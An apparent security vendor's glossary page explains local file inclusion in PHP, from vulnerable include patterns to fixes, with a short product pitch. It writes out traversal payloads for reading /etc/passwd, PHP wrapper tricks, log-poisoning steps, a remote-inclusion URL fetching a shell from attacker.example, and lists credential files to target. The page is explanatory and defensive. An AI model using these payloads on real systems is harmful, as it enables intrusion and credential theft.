The Novee Gym is open for business at Black Hat Europe

Book a meeting

The Novee Gym is open for business at Black Hat Europe

Book a meeting

Glossary › Local File Inclusion

Local File Inclusion

Explore Article +

Key Takeaways

  • Local file inclusion (LFI) lets an attacker make an application include a file already on the server.
  • Because included files can be executed, an LFI vulnerability goes beyond reading data.
  • LFI to RCE escalation commonly uses log poisoning, PHP wrappers or uploaded files.
  • Fixed allowlists of includable files and hardened interpreter settings prevent it.

What Is Local File Inclusion?

Local file inclusion is a vulnerability in which an application passes user input to a file include function, letting an attacker load an unintended file from the server’s own file system. MITRE tracks the PHP form of the flaw as CWE-98, Improper Control of Filename for Include/Require Statement.

LFI is most common in PHP, where include and require both read and execute the target file. The result ranges from source-code disclosure to full server compromise.

The File Path Manipulation Behind an LFI Attack

A typical vulnerable pattern is include($_GET['page'] . '.php');, which loads pages like ?page=about. A local file inclusion attack replaces the value with a path the developer never intended.

Attackers use directory traversal sequences such as ?page=../../../../etc/passwd to leave the web folder. To defeat a forced extension, they relied on null bytes (%00) in PHP before 5.3.4, or path truncation. Encodings like %2e%2e%2f help bypass weak filters, and absolute paths work when no base directory is enforced.

How LFI Escalates From File Read to Full Compromise

LFI to RCE is possible whenever the attacker can get their own code into a file the server will include:

  • Log poisoning. Send PHP code in a User-Agent header so it lands in an access log, then include that log file to execute it.
  • PHP wrappers. php://filter/convert.base64-encode/resource=config.php leaks source code without executing it. php://input and data:// can deliver code directly when the configuration allows. Chained php://filter conversions can even generate code without any writable file.
  • Uploaded files. Include an uploaded image or document containing embedded PHP.
  • Session and temp files. Include session files under /var/lib/php/sessions that store attacker-controlled values.

From there, the attacker has remote code execution with the web server’s privileges.

LFI vs Remote File Inclusion: What Each Allows and Why It Matters

Remote file inclusion (RFI) makes the application fetch and execute a file from an attacker-controlled URL, such as ?page=http://attacker.example/shell.txt. That delivers code execution in one step, making RFI more severe by default.

RFI depends on PHP’s allow_url_include setting, disabled by default since PHP 5.2, so it is now rare. LFI needs no special configuration and only reaches local files, but chaining techniques often bring it to the same outcome. Both share the same root cause: user-controlled input passed to an include function.

How to Find and Fix Local File Inclusion Vulnerabilities

Testers look for parameters named like page, file, template, lang or view, then try traversal payloads, PHP wrappers and known files such as /etc/passwd. Code review searches for include statements that take request data. Testing should follow a defined standard, such as the OWASP APTS standard for autonomous penetration testing, so results are repeatable.

To fix and prevent LFI:

  • Allowlist includes. Map user choices to a fixed list of files on the server and never pass raw input.
  • Harden PHP. Keep allow_url_include off and set open_basedir to restrict readable paths.
  • Lock down logs and uploads. Store uploads outside the web root and keep log files unreadable by the web process.
  • Apply least privilege. Run the web server as a low-privilege account.

Validated findings also give auditors evidence, a key point in AI pentesting for compliance. Novee’s agents chain LFI toward real impact, three independent agents validate each finding, and Agentic Remediation retests the fix.

FAQ

Common targets are /etc/passwd to confirm the flaw, application configs such as wp-config.php or .env for credentials, web server access and error logs for log poisoning, PHP session files, /proc/self/environ for environment variables, and SSH keys. On Windows, C:\Windows\win.ini and IIS configuration files are typical first checks.

PHP is by far the most affected, because its include and require functions read and execute files dynamically and many legacy apps pass request data to them. Similar flaws appear in JSP includes, classic ASP and server-side template engines in Python, Ruby or Node.js that load templates by user-supplied name.

Yes. Attackers can skip configuration files entirely and go straight to code execution through log poisoning, uploaded files or PHP wrapper chains. Even reading the application’s own source code through php://filter exposes logic flaws and hardcoded secrets. Configuration files are only one of several paths to impact.

Partially. DAST scanners detect straightforward LFI by requesting known files like /etc/passwd and matching their contents. They often miss cases that need specific encodings, a forced extension, authenticated workflows or a chained step like log poisoning. Manual or agent-driven testing confirms whether a flagged LFI actually reaches code execution.

The OWASP Top 10 has no standalone LFI category. The OWASP Web Security Testing Guide covers it under input validation testing (WSTG-INPV-11), and its underlying path traversal weakness, CWE-22, falls under A01:2025 Broken Access Control. Scanners and reports usually label LFI as CWE-98 or CWE-22.